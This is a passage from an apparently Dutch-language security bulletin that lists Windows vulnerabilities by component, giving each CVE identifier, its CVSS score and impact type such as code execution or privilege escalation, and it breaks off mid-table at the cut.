\n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 